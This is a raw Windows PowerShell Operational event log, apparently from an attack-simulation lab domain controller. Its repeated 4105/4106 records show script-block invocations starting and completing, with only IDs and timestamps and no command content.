Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477396
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477395
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477394
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477392
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477391
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477390
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477388
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477385
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477383
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477382
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477381
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477380
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477378
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477377
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477376
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477374
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477371
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477369
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477368
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477367
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477366
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477364
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477363
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477362
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477360
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477357
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477355
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477354
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477353
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477352
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477350
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477348
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477347
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477346
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477344
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477342
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
